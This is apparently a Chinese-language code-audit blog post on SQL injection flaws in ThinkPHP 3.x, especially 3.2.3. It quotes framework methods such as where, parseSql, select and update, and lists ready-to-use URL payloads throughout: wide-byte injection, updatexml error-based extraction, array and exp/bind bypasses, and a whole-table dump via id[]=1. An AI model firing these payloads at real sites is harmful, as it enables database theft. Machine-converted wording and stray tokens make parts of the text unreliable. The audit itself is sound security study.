版本過多隻分析大版本和使用人數較多的版本目前使用人數最多的3.2.3。審計時也是發現多個版本未公開漏洞php
測試環境: Mysql5.6/PHP5.5mysql
首先明確的是在不使用PDO作參數綁定時ThinkPHP全版本均可能存在寬字節注入。sql
黑盒檢測方法:輸入於頭字節大於7F測試數據例如:thinkphp
%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23 (%5e 後跟任意T-SQL語句)
白盒檢測方法 全局搜索默認格式是否被設置GBK數據庫
'DEFAULT_CHARSET' => 'utf-8', // 默認輸出編碼
或者數組
mysql_query("SET NAMES gbk");
也是使用的最多的條件查詢方法,支持查詢條件預處理php框架
1. $Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select(); 2. // 或者 3. $Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
而他的預處理實際上調用了addslashes() 方法安全
/** * SQL指令安全過濾 * @access public * @param string $str SQL字符串 * @return string */ public function escapeString($str) { return addslashes($str); }
然而在對單參數傳遞時where並沒對語句作參數化處理而在官方文檔多個實例也是隻傳遞了一個參數,包括一些開源項目找到的錯誤寫法。服務器
$result = $this->db()->where($where)->update($data); 或 $teachers = $Teacher->where('name', 'like', '%' . $name . '%')
where代碼框架
/** * 指定查詢條件 支持安全過濾 * @access public * @param mixed $where 條件表達式 * @param mixed $parse 預處理參數 * @return Model */ public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); } ... ... ... return $this; }
只對$parse參數作了過濾 這種寫法對於query()一樣有效或者相似處理的方法一樣有效。
這也算是開發人員安全意識問題,但在審計時這樣的寫法是影響全版本的。
這兩個方法支持更多原生sql語句在複雜的業務場景常常遇到
在低於3.1.3版本這兩個方法都調用parseSql來解析sql語句
/** * 解析SQL語句 * @access public * @param string $sql SQL指令 * @param boolean $parse 是否須要解析SQL * @return string */ protected function parseSql($sql,$parse) { // 分析表達式 if(true === $parse) { $options = $this->_parseOptions(); $sql = $this->db->parseSql($sql,$options); }elseif(is_array($parse)){ // SQL預處理 $sql = vsprintf($sql,$parse); }else{ $sql = strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX'))); } $this->db->setModel($this->name); return $sql; }
然而parseSql根本就沒有對數組參數作預處理就直接查詢了。
這個漏洞官方早就披露了但在歷史版本仍然能夠見到身影。
Table,find這2個方法都須要select() 進行與數據庫查詢並未發現過濾
若是參數可控能夠直接利用
$Dat=$Data->field($id)->select();
url地址中輸入
id=updatexml(1,concat(0x7e,database()),3)
或者數組形式能夠躲避value的過濾檢測
id[updatexml(1,concat(0x7e,database()),3),1]=1
Table利用方式方式同樣
id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
在where以前的作操做均可以這樣利用
還有相似
Alias 設置當前數據表的別名
Group 根據一個或多個列對結果集進行分組
Join 用於根據兩個或多個表中的列之間的關係
UNION操做用於合併兩個或多個 SELECT 語句的結果集
COMMENT方法 用於在生成的SQL語句中添加註釋內容
若是參數可控都會形成SQL注入
Order方法有個cve編號CVE-2018-16385
在小於5.1.2版本都存在sql注入在官網如今3.2.5最新版已經被修復然而
在3.2.4以前版本這個漏洞依舊存在 並且這個更新函數改動了不少升級可能會出現更多問題
第二個圖是補丁以後的對全部參數數組化防止sql注入,考慮問題更加全面增長數組遍歷。常規的數組處理利用二維數組能夠繞過例如
id[id][updatexml(1,concat(0x7e,database()),3)]=--+
前置方法查詢數據拼接後都是進入select最後和數據庫交互。也是重要的方法在支持一個參數傳遞每每條件 18年也披露一個漏洞 $options參數可控同類影響的方法還有delete,find
只須要在url中輸入
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
即可注入成功都是利用了接收數組參數未驗證致使的
/** * 查詢數據集 * @access public * @param array $options 表達式參數 * @return mixed */ public function select($options=array()) { $pk = $this->getPk(); ... ... // 分析表達式 $options = $this->_parseOptions($options); ... ... return $resultSet; }
雖然在3.2.5版本更新了這個漏洞但在官網3.2.3並未被修復依舊能夠被利用這也致使了低於3.2.5版本均可以利用。
在查看官方安全更新代碼時發現5.x包括,3.2.5最新版本確實將這個漏洞過濾了但卻引起另外一個利用可能。
$id=I("get.id"); $Dat=$Data->select($id); $this->data = $Dat;
在url輸入 id=1%20and%201=1 能夠看到執行語句
SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]
能夠看到確實這樣也不會存在sql注入可是有另外一個問題Thinkphp框架特殊性
當你查詢一個數據是否存在時,入侵者沒法得知你的ip時候能夠經過傳遞一個數組例如
?id[]=1
SELECT * FROM `users` [ RunTime:0.0006s ]
遇到位置錯誤的時候在拼接where條件時會自動跳過,這樣你就看到整表的數據,這種方法也能夠利用在delete()方法
1. $User->where('id=5')->setInc('score'); // 用戶的積分加1
2. $User->where('id=5')->setDec('score',5); // 用戶的積分減5
在調用setInc,sETDec在調用時若是參數可控也會存在注入
在直接調用update去實例化更新數據一樣會參數注入一樣的官方也發佈了安全更新
例如構建一個對象
$User = M("users"); $user['id'] = I('id'); $valu = $User->where($user)->save($data);
這裏也是利用exp注入
Id[0]=exp&id=[1]==1 執行的sql語句爲
Select * from users Where id=1
這裏的update也是這樣的利用方式利用bind 構建的payload:
id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
而它的代碼
/** * 更新記錄 * @access public * @param mixed $data 數據 * @param array $options 表達式 * @return false | integer */ public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操做 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ // 單表更新支持order和lmit $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
從Update代碼中發現代碼中先調用parseSet
構建的 set xxxx 在拼接完成後 相似
UPDATE xxx SET user=:0 WHERE id= xx
在where條件第二次調用拼接時能夠形成SQL注入
elseif('bind' == $exp ){ // 使用表達式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表達式 $whereStr .= $key.' '.$val[1];
在傳遞數組時能夠達到繞過
Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3) 或者 Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)
這也是 bind,exp注入
在最後調用execute方法時默認對:1:0進行拼接
這裏又會形成第3次注入
好比咱們輸入
?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0
在條件位只輸入:1’:0 修改位放咱們要注入的語句依舊能夠注入成功
這裏insert 也是一樣的利用方法低於5.0都有這個問題目前官方並未修復雖然利用條件苛刻。
至此在對經常使用的交互查詢,修改方法審計完成。也是發現多個利用條件(踩不完的坑),對於thinkphp在接收數組時的多處理形成的SQL注入,雖然不明白這樣設計框架的含義但這樣是很是不安全的,很容易接收沒法處理的數組致使程序報錯重要信息泄露甚至500致使服務器宕機。
也是第一次接觸php代碼審計,對不少特性都要翻閱官方文檔若有遺漏或者錯誤歡迎補充指正。